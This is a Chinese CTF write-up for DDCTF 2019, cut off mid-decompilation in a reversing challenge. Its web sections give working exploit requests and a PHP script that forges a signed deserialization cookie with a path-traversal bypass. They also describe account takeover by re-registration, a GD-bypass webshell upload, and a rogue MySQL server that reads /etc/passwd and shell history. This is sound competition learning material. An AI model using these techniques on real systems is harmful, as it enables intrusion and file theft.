2019-04-23

DDCTF 部分Writeup

0x1 web1 滴~

打開題目鏈接如下所示

img 1

觀察到URL:http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

常識(shí)告訴我們要將JPG的值base64解碼,結(jié)果為NjY2QzYxNjcyRTZBNzA2Nw==,再次base64解碼得666C61672E6A7067
再unhex一次得到flag.jpg,所以應(yīng)該是任意文件讀取,只不過會(huì)被編碼成base64的圖片格式,所以構(gòu)造讀取index.php,即先將字符串index.phpHex一次,再對(duì)結(jié)果兩次base64得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

然后去訪問http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,然后查看源碼可以看到有

<img src='data:image/gif;base64,PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo='></img>

將得到的base64字符串解碼得到index.php的源碼

index.php
       
 
<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

嘗試去讀flag.txt,一些備份文件都無果,然后根據(jù)源碼中根據(jù)注釋信息去訪問csdn博主的博客

博客

看到一篇文章

文章

所以去訪問.practice.txt.swp,于是構(gòu)造字符串,將.practice.txt.swp按上面的方法,一次Hex、兩次base64編碼得到TW1VM01EY3lOakUyTXpjME5qazJNelkxTW1VM05EYzROelF5WlRjek56YzNNQT09

于是訪問url http://117.51.150.246/index.php?jpg=TW1VM01EY3lOakUyTXpjME5qazJNelkxTW1VM05EYzROelF5WlRjek56YzNNQT09

查看網(wǎng)頁源碼看到

<img src='data:image/gif;base64,ZjFhZyFkZGN0Zi5waHA='></img>

解碼得到f1ag!ddctf.php,這時(shí)我們就想著去訪問f1ag!ddctf.php文件了,不過在index.php代碼中我們可以看到,正則表達(dá)式不允許輸入!符號(hào),但是下面的$file = str_replace("config","!", $file);會(huì)把我們輸入的文件名中的config替換為!,所以我們只需要構(gòu)造f1agconfigddctf.php然后編碼,得到TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

然后訪問url http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

查看源碼得到

<img src='data:image/gif;base64,PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQogICAgJGNvbnRlbnQ9dHJpbShmaWxlX2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg=='></img>

然后解碼得到代碼

       
f1ag!ddctf.php
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

簡(jiǎn)單過一遍代碼可以知道是簡(jiǎn)單的變量覆蓋漏洞(可以參考我們做的筆記),所以我們只用去訪問http://117.51.150.246/f1ag!ddctf.php?k=&uid=即可拿到flag

flag

0x2 web簽到題

web2

打開題目鏈接看到網(wǎng)頁
提示抱歉,您沒有登陸權(quán)限,請(qǐng)獲取權(quán)限后訪問-----,網(wǎng)頁查看源碼,沒有看到其他信息,但是其中有一個(gè)index.js

/**
 * Created by PhpStorm.
 * User: didi
 * Date: 2019/1/13
 * Time: 9:05 PM
 */

function auth() {
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata) {
           console.log(getdata);
           if(getdata.data !== '') {
               document.getElementById('auth').innerHTML = getdata.data;
           }
        },error:function(error){
            console.log(error);
        }
    });
}

可以看到會(huì)通過ajax請(qǐng)求http://117.51.158.44/app/Auth.php,并且會(huì)設(shè)置http頭didictf_username
所以抓包得到

抓包1

既然它提示我們沒有管理員權(quán)限那么我們給didictf_username賦值為admin,即修改http頭

抓包2

Forward查看頁面看到您當(dāng)前當(dāng)前權(quán)限為管理員----請(qǐng)?jiān)L問:app/fL2XID2i0Cdh.php,所以我們按照提示訪問http://117.51.158.44/app/fL2XID2i0Cdh.php
得到源代碼

#url:app/Application.php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您當(dāng)前當(dāng)前權(quán)限為管理員----請(qǐng)?jiān)L問:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您沒有登陸權(quán)限,請(qǐng)獲取權(quán)限后訪問-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
#url:app/Session.php
include 'Application.php';
class Session extends Application {

    //key建議為8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

根據(jù)代碼審計(jì),可以確定這是一道反序列化漏洞的利用,我們可以利用Session類里的

$userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

中的$user_data,將其值設(shè)置為類Application的一個(gè)對(duì)象。
可以看到類Applicationpublic function __destruct()函數(shù),該函數(shù)會(huì)讀取以成員變量$path所指向的字符串為名字的文件并輸出,并且該函數(shù)會(huì)在腳本執(zhí)行完畢之后自動(dòng)調(diào)用.接下來是利用方式

我們?nèi)ピL問http://117.51.158.44/app/Session.php,得到頁面返回結(jié)果提示

{"errMsg":"error","data":"\u62b1\u6b49\uff0c\u60a8\u6ca1\u6709\u767b\u9646\u6743\u9650\uff0c\u8bf7\u83b7\u53d6\u6743\u9650\u540e\u8bbf\u95ee-----"}

是json數(shù)據(jù),unicode解碼之后就是{"errMsg":"error","data":"抱歉,您沒有登陸權(quán)限,請(qǐng)獲取權(quán)限后訪問-----"}

抓包增加http頭didictf_username: admin

抓包3

得到頁面返回結(jié)果,unicode解碼后為

{"errMsg":"success","data":"您當(dāng)前當(dāng)前權(quán)限為管理員----請(qǐng)?jiān)L問:app\/fL2XID2i0Cdh.php"}{"errMsg":"sucess","data":"DiDI Welcome you %s"}

此時(shí)查看cookie得到

a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%220e9be2d96d35328783c1f69498a260d6%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.226.76%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D0df866e958664506d94eecc413c2022c

url解碼得到

a:4:{s:10:"session_id";s:32:"0e9be2d96d35328783c1f69498a260d6";s:10:"ip_address";s:13:"171.43.226.76";s:10:"user_agent";s:113:"Mozilla/5.0+(Windows+NT+6.1;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/71.0.3578.98+Safari/537.36";s:9:"user_data";s:0:"";}0df866e958664506d94eecc413c2022c

通過審計(jì)代碼可知我們先通過post一個(gè)nickname可以泄露eancrykey,我們依舊請(qǐng)求http://117.51.158.44/app/Session.php,抓包,修改
請(qǐng)求方法為POST,http頭添加didictf_username: admin,請(qǐng)求體 添加nickname:%s

改包1

得到返回結(jié)果

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 16 Apr 2019 12:07:54 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 359

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/71.0.3578.98 Safari\/537.36"}

可以得到eancrykey:EzblrbNS

拿到eancrykey后,本地PHPstudy搭建環(huán)境生成攻擊用的序列化后的ddctf_id
以下是我的構(gòu)造腳本

<?php
@error_reporting(1);
Class Application {
    var $path = '';
 
}

$userdata='a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222f2361854eb93c5f447dfa3eec550506%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.227.12%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Dc6f45a033b9722d64b701e79dc318a3f';
$userdata=urldecode($userdata);
$userdata= substr($userdata,0,strlen($userdata)-40);


$a=new Application;
$a->path='..././config/flag.txt';
$userdata=$userdata.serialize($a).'}';
$eancrykey='EzblrbNS';

$cookiedata=$userdata;
$cookiedata = $cookiedata.md5($eancrykey.$cookiedata);

echo urlencode($cookiedata).'</br>';

其中$userdata為我自己的session信息,包括本機(jī)ip,UA標(biāo)識(shí)符什么的,通過讀源碼知道,服務(wù)器會(huì)對(duì)我們的session校驗(yàn),$path賦值為..././config/flag.txt,其中按源代碼要求$path的長(zhǎng)度必須等于18位,并且會(huì)替換一次../為空,所以我這里采用..././的方式繞過,至于flag文件的路徑,源代碼有提示與eancrykey.txt同目錄,至于名字,就猜嘛(一發(fā)入魂),

本地執(zhí)行拿到我們自己構(gòu)造的session

a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222f2361854eb93c5f447dfa3eec550506%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22171.43.227.12%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A113%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F71.0.3578.98+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3BO%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D%7D7ffaffe481834a8ba3acb2a24ac7d76c

用我們構(gòu)造的session去替換服務(wù)器給我們生成的session,即可以拿到flag

get flag

0x3 Web 大吉大利,今晚吃雞~

web

我是非常規(guī)做出的這道題

注冊(cè)賬戶,注冊(cè)一個(gè)已經(jīng)存在的賬戶,雖然會(huì)提示已經(jīng)注冊(cè)了,但是!!!!,,,,,發(fā)現(xiàn)其實(shí)我們已經(jīng)以這個(gè)已經(jīng)存在的賬戶的身份登進(jìn)去了

login

我是根據(jù)完成這道題目的名單,第一個(gè)完成此題的人,剛好他做這個(gè)題的時(shí)候注冊(cè)的時(shí)候id就是他的ddctf的id


first

我們登進(jìn)去之后進(jìn)入http://117.51.147.155:5050/index.html#/main/index是這樣的一個(gè)界面

img

然后買到入場(chǎng)券之后可以進(jìn)入http://117.51.147.155:5050/index.html#/main/result玩吃雞(手動(dòng)滑稽)

然而我們登錄的這個(gè)賬號(hào)是第一個(gè)做出此題的人,打開http://117.51.147.155:5050/index.html#/main/result,即可看到flag

flag

總結(jié)一下利用的過程,首先這個(gè)題有不需要密碼任意登錄的問題,然后是挑選了第一個(gè)完成此題的人,恰巧第一個(gè)完成此題的人他在完成這個(gè)題的時(shí)候注冊(cè)的賬號(hào)是他的ctf賬戶id(偷笑),而且因?yàn)榇藭r(shí)游戲競(jìng)技場(chǎng)上沒有其他人,所以拿到了flag

此題目的各個(gè)頁面的url,我是從js中找到的在這個(gè)js里還能看到很多其他信息

js

我也測(cè)試登錄其他人的賬號(hào),需要將所有對(duì)手移除才能拿到flag,而移除其他對(duì)手需要知道對(duì)方的id和ticket

img

0x4 Upload-IMG

查找

題目打開登陸后很明確,文件上傳
那么傳個(gè)圖片試試,穿個(gè)圖片馬
結(jié)果發(fā)現(xiàn)沒用。但是它有回顯的圖片
保存下來看看有啥區(qū)別
發(fā)現(xiàn)了文件頭內(nèi)有

xxxJFIFxxx;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80

這么一段,很明顯這是圖片經(jīng)過二次渲染了,到網(wǎng)上查一下可以得出這是用的php-gd庫
然后查一下php gd二次渲染繞過可以找到這么一個(gè)網(wǎng)站 https://wiki.ioin.in/soft/detail/1q
提供一個(gè)繞過GD庫渲染的WEBSHELL生成器
來源于這個(gè)論壇 https://rdot.org/forum/showthread.php?t=2780

使用

  • 首先linux下裝個(gè)php-gd庫
  • 制作一個(gè)分辨率夠大純色圖片(據(jù)論壇說成功率更高)
  • 上傳圖片,下載轉(zhuǎn)化后的圖片
  • 使用下載的php腳本處理下載的圖片(需要更改腳本內(nèi)的shell)
  • 上傳處理后的payload圖片,拿到flag

0x5 mysql弱口令

題目鏈接

img

打開題目鏈接是這個(gè)樣子的

img

經(jīng)過百方查找才知道,這是一個(gè)通過偽造惡意mysql服務(wù)端,然后任意讀取客戶端文件的利用

這里題目的服務(wù)器就相當(dāng)于是客戶端,所以我們只要在我們的VPS上面部署惡意的mysql服務(wù)器,然后再運(yùn)行用題目所給的agent,py,然后執(zhí)行掃描就可以實(shí)現(xiàn)任意文件讀取了

已有前輩們寫好的構(gòu)造惡意mysql服務(wù)器腳本
github地址

這里只用修改PORT為我們構(gòu)造的mysql服務(wù)的端口號(hào)

PORT = 3307
filelist = (
    '/etc/passwd',
)

filelist為我們要掃描的文件

最終會(huì)在當(dāng)前目錄生成mysql_log1文件,我們讀取的題目容器的數(shù)據(jù)就會(huì)被記錄在mysql_log文件里

ageent.py中添加

result={'Process_name':'123/mysqld','local_address':'0.0.0.0:3307'}
img

然后輸入我們的vps地址,端口號(hào)是我們構(gòu)造的mysql服務(wù)器指定的端口,我這里是用的3307

img

點(diǎn)擊掃描,掃描到數(shù)據(jù)頁面就會(huì)返回

image

此時(shí)我們查看mysql_log文件確實(shí)返回了我們想要讀取的數(shù)據(jù)

img

然后我們?cè)賴L試讀/root/.bash_history文件查找信息,得到

...
history  -w
ls
2019-04-16 16:42:33,251:INFO:-- result
2019-04-16 16:42:33,251:INFO:Result: '╚/app/main/views.py
vim /home/dc2-user/ctf_web_2/app/main/views.py
history
exit
ls
pwd
history
cat /root/.bash_history
ls
cd ctf_web_2/
ls
cat app/main/views.py
ls
ps -aux
ps -aux | grep 5000
cat /root/.bash_history
ls
history | grep wget
...

其中看到vim /home/dc2-user/ctf_web_2/app/main/views.py,然后再去讀vim /home/dc2-user/ctf_web_2/app/main/views.py,得到源碼

# coding=utf-8

from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64


# flag in mysql  curl@localhost database:security  table:flag

def weak_scan():

    agent_port = 8123
    result = []
    target_ip = request.args.get('target_ip')
    target_port = request.args.get('target_port')
    if not target_ip or not target_port:
        return jsonify({"code": 404, "msg": "參數(shù)不能為空", "data": []})
    if not target_port.isdigit():
        return jsonify({"code": 404, "msg": "端口必須為數(shù)字", "data": []})
    if not checkip(target_ip):
        return jsonify({"code": 404, "msg": "必須輸入ip", "data": []})
    if is_inner_ipaddress(target_ip):
        return jsonify({"code": 404, "msg": "ip不能是內(nèi)網(wǎng)ip", "data": []})
    tmp_agent_result = get_agent_result(target_ip, agent_port)
    if not tmp_agent_result[0] == 1:
        tem_result = tmp_agent_result[1]
        result.append(base64.b64encode(tem_result))
        return jsonify({"code": 404, "msg": "服務(wù)器未開啟mysql", "data": result})
...

看到注釋# flag in mysql curl@localhost database:security table:flag

我們知道linux下,MySQL默認(rèn)的數(shù)據(jù)文檔存儲(chǔ)目錄為/var/lib/mysql/,所以嘗試/var/lib/mysql/security/flag.ibd文件,網(wǎng)上有很多通過idb恢復(fù)數(shù)據(jù)表的教程,但是我拿到idb文件后用vscode打開,字符串搜索就看到了flag

flag

0x6 Windows Reverse1

題目鏈接

首先查殼

上peid 顯示:UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo  
很明顯是upx

脫殼

直接上脫殼機(jī)即可,雖然這樣拖出來的執(zhí)行會(huì)有問題,不過已經(jīng)可以再次用ida分析了

靜態(tài)審計(jì)

主函數(shù)很簡(jiǎn)單

  v6 = 0;
  memset(&Dst, 0, 0x3FFu);
  v4 = 0;
  memset(&v5, 0, 0x3FFu);
  printf("please input code:");
  scanf("%s", &v6);
  sub_401000(&v6);
  if ( !strcmp(&v4, "DDCTF{reverseME}") )
    printf("You've got it!!%s\n", &v4);
  else
    printf("Try again later.\n");
  return 0;

這里主要是看sub_401000(&v6);這個(gè)函數(shù)干了啥
跟進(jìn)去

unsigned int __cdecl sub_401000(const char *a1)
{
  _BYTE *v1; // ecx
  unsigned int v2; // edi
  unsigned int result; // eax
  int v4; // ebx

  v2 = 0;
  result = strlen(a1);
  if ( result )
  {
    v4 = a1 - v1;
    do
    {
      *v1 = byte_402FF8[(char)v1[v4]];
      ++v2;
      ++v1;
      result = strlen(a1);
    }
    while ( v2 < result );
  }
  return result;
}

這就是一個(gè)查找算法,從一個(gè)序列里查找"DDCTF{reverseME}"這個(gè)字符串

看下內(nèi)存,可以找到這個(gè)地方

UPX0:00403018 aZyxwvutsrqponm db '~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>'
UPX0:00403018                 db '=<;:9876543210/.-,+*)(',27h,'&%$#"! ',0

注意數(shù)據(jù)起始開始位置為402FF8
然后上腳本

a='''00 00 00 00 00 00 00 00
4E E6 40 BB B1 19 BF 44 FF FF FF FF FF FF FF FF
FE FF FF FF 01 00 00 00 7E 7D 7C 7B 7A 79 78 77
76 75 74 73 72 71 70 6F 6E 6D 6C 6B 6A 69 68 67
66 65 64 63 62 61 60 5F 5E 5D 5C 5B 5A 59 58 57
56 55 54 53 52 51 50 4F 4E 4D 4C 4B 4A 49 48 47
46 45 44 43 42 41 40 3F 3E 3D 3C 3B 3A 39 38 37
36 35 34 33 32 31 30 2F 2E 2D 2C 2B 2A 29 28 27
26 25 24 23 22 21 20 00 00 00 00 00 00 00 00 00'''.replace('\n',' ').split(' ')
a=[chr(int(ta,base=16)) for ta in a]
b='DDCTF{reverseME}'

result=[]
for bb in b:
    index=0
    tmp=-1
    for aa in a:
        if aa==bb:
            tmp=index
        index+=1
    result.append(tmp)

print(''.join([chr(r+i) for r in result]))

即可得到flag

0x7 Windows Reverse2

題目鏈接

首先查殼,發(fā)現(xiàn)是Aspack

exe Info

脫殼后IDA打開,F(xiàn)5一鍵反編譯

進(jìn)入主函數(shù)查看代碼如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Dest; // [sp+8h] [bp-C04h]@4
  char v5; // [sp+9h] [bp-C03h]@4
  char v6; // [sp+408h] [bp-804h]@1
  char Dst; // [sp+409h] [bp-803h]@1
  char v8; // [sp+808h] [bp-404h]@1
  char v9; // [sp+809h] [bp-403h]@1

  v6 = 0;
  memset(&Dst, 0, 0x3FFu);
  v8 = 0;
  memset(&v9, 0, 0x3FFu);
  printf(Format);                               // "Input code"
  scanf(aS, &v6);                               // input -> v6
  if ( !sub_4011F0(&v6) )                       //判斷輸入字符是否為 0-9 A-F
  {
    printf(aInvalidInput);
    exit(0);
  }
  sub_401240(&v6, (int)&v8);                    //對(duì)輸入數(shù)據(jù)進(jìn)行處理
  Dest = 0;
  memset(&v5, 0, 0x3FFu);
  sprintf(&Dest, aDdctfS, &v8);                 // Dest = "DDCTF{" + v8 + "}"
                                                //結(jié)果存放在Dest中
  if ( !strcmp(&Dest, aDdctfReverse) )          // if(Dest == 'DDCTF{reverse+}')
    printf(aYouVeGotItS, &Dest);                // ok
  else
    printf(aSomethingWrong);
  return 0;
}

數(shù)據(jù)格式判斷函數(shù) sub_4011F0(&v6):

char __usercall sub_4011F0@<al>(const char *a1@<esi>)
{
  signed int v1; // eax@1
  signed int v2; // edx@1
  int v3; // ecx@3
  char v4; // al@4

  v1 = strlen(a1);
  v2 = v1;                                      // v2 -> len(v6)
  if ( v1 && v1 % 2 != 1 )                      // 長(zhǎng)度為偶數(shù)位
  {
    v3 = 0;
    if ( v1 <= 0 )
      return 1;                                 // true
    while ( 1 )
    {
      v4 = a1[v3];
      if ( (v4 < 48 || v4 > 57) && (v4 < 65 || v4 > 70) )// 范圍是否在 0-9 A-F
        break;
      if ( ++v3 >= v2 )
        return 1;
    }
  }
  return 0;                                     // false
}

接下來查看輸入數(shù)據(jù)處理函數(shù) sub_401240():

void __usercall sub_401240(const char *a1@<esi>, int a2)
{
  signed int v2; // edi@1 a1 -> input  a2 -> 0
  unsigned int v3; // edx@1
  char v4; // bl@2
  char v5; // al@3
  char v6; // al@7
  unsigned int v7; // ecx@11
  char v8; // [sp+Bh] [bp-405h]@0
  char v9; // [sp+Ch] [bp-404h]@1
  char Dst; // [sp+Dh] [bp-403h]@1

  v2 = strlen(a1);                              // v2 -> len(a1)
  v9 = 0;
  memset(&Dst, 0, 0x3FFu);
  v3 = 0;
  if ( v2 > 0 )
  {
    v4 = v8;
    do
    {
      v5 = a1[v3];
      if ( (unsigned __int8)(a1[v3] - 48) > 9u )// ! 0-9
      {
        if ( (unsigned __int8)(v5 - 65) <= 5u ) // A-F
          v8 = v5 - 55;                         // v5-'7'
      }
      else
      {
        v8 = a1[v3] - 48;
      }                                         // hexstr[i] -> int
      v6 = a1[v3 + 1];
      if ( (unsigned __int8)(a1[v3 + 1] - 48) > 9u )
      {
        if ( (unsigned __int8)(v6 - 65) <= 5u )
          v4 = v6 - 55;
      }
      else
      {
        v4 = a1[v3 + 1] - 48;
      }                                         // hexstr[i+1] -> int
      v7 = v3 >> 1;
      v3 += 2;
      *(&v9 + v7) = v4 | 16 * v8;
    }
    while ( (signed int)v3 < v2 );
  }
  //這一層主要是實(shí)現(xiàn)16進(jìn)制字符串轉(zhuǎn)byte[]數(shù)組,然后將結(jié)果傳入下一層函數(shù)進(jìn)行處理
  sub_401000(v2 / 2, (void *)a2);
}

下一層處理函數(shù) sub_401000():

void __cdecl sub_401000(int a1, void *a2)
{
  char *v2; // ecx@0 str(byte)
  int v3; // ebp@1
  char *v4; // edi@1
  signed int v5; // esi@1
  unsigned __int8 v6; // bl@2
  signed int v7; // esi@3 input str 
  int v8; // edi@10
  int v9; // edi@13
  size_t v10; // esi@15
  void *v11; // edi@15 byte[]
  const void *v12; // eax@15
  int v13; // eax@18
  int v14; // edx@18
  int v15; // [sp+4h] [bp-48h]@0
  int v16; // [sp+8h] [bp-44h]@0
  int v17; // [sp+10h] [bp-3Ch]@0
  char Dst; // [sp+14h] [bp-38h]@2
  unsigned __int8 v19; // [sp+15h] [bp-37h]@2
  unsigned __int8 v20; // [sp+16h] [bp-36h]@3
  char v21; // [sp+18h] [bp-34h]@3
  char v22; // [sp+19h] [bp-33h]@3
  char v23; // [sp+1Ah] [bp-32h]@3
  char i; // [sp+1Bh] [bp-31h]@3
  void *v25; // [sp+1Ch] [bp-30h]@1
  char v26; // [sp+20h] [bp-2Ch]@1
  void *Src; // [sp+24h] [bp-28h]@15
  size_t Size; // [sp+34h] [bp-18h]@15
  unsigned int v29; // [sp+38h] [bp-14h]@15
  int v30; // [sp+3Ch] [bp-10h]@18
  int v31; // [sp+48h] [bp-4h]@1

  v3 = a1;                                      // len(byte)
  v25 = a2;
  std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,   std::allocator<char>>(&v26);     //v26 = new String()
  v5 = 0;
  v31 = 0;
  if ( a1 )
  {
    do
    {
      *(&Dst + v5) = *v4;
      v6 = v19;
      ++v5;                                     // looper -> 3
      --v3;
      ++v4;
      if ( v5 == 3 )
      {
        v21 = (unsigned __int8)Dst >> 2;        // Dst / 4       >>2
        v22 = (v19 >> 4) + 16 * (Dst & 3);      // Dst 低兩位 *16
